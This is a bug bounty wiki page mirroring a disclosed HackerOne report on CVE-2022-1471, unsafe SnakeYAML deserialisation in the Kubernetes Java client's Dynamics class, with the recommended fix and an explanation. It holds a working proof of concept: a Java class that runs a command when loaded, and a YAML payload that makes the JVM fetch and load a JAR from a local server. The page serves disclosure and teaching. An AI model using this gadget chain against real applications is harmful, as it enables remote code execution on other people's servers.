Skip to content
RCE Disclosed report Intermediate CVE-2022-1471

The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML

The Kubernetes Java client's Dynamics class deserialises YAML using SnakeYAML without a safe constructor, allowing an attacker to supply a crafted YAML document that triggers remote code execution. The attacker can host a malicious JAR and cause the JVM to load and execute code from it.

Jonathan Leitschuh Follow

Originally disclosed on HackerOne

Bounty$1,000 Medium 6.7 View original
  • Triaged in 46 days
  • Fixed in 4 months
  • Paid in 46 days
  • Disclosed after 4 months

Summary:

If the io.kubernetes.client.util.generic.dynamic.Dynamics is used to deserialize a DynamicKubernetesObject from untrusted YAML, an attacker can achieve code execution inside of the JVM.

Since this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?

Component Version:

Kubernettes Java Client version 17.0.0

Steps To Reproduce:

  1. Host a server with a JAR file containing the following code:
Java
package org.jlleitschuh.sandbox;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class ScriptEngineFactoryRCE implements ScriptEngineFactory {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec("open -a Calculator");
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

The jar file must contain a file /META-INF/services/javax.script.ScriptEngineFactory with the contents org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # Our RCE Payload

Host this jar file from a local server's root path.

Then call the Dynamics yaml parsing APIs with the following payload:

YAML
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Fix

The SnakeYAML parser should be instantiated with the argument new SafeConstructor() in order to not be vulnerable to arbitrary deserialization.

Supporting Material/References:

Impact

If this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution

The original report as published on HackerOne, by jlleitschuh. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The SnakeYAML parser is instantiated without a SafeConstructor, so it allows arbitrary Java object deserialisation from untrusted YAML.

Impact

If the Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution.

What the attacker needed

Application uses Dynamics to parse untrusted YAML; Attacker can supply YAML input; Attacker hosts a malicious JAR

How it was found

  1. Create a JAR file containing a class that implements ScriptEngineFactory and executes a command in its static initialiser.
  2. Include a service file in the JAR that registers the class as a ScriptEngineFactory.
  3. Host the JAR on a local web server.
  4. Call the Dynamics YAML parsing API with a YAML payload that uses the ScriptEngineManager and URLClassLoader to load the remote JAR.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

YAML is a data format, but some parsers can be tricked into creating Java objects and even running code when they read a malicious file. Here, the library used to read YAML (SnakeYAML) was not configured safely, so a crafted YAML file could make the program download and run an attacker's code.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Jonathan Leitschuh

View all

4 more disclosed reports, best first.

More from Kubernetes

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.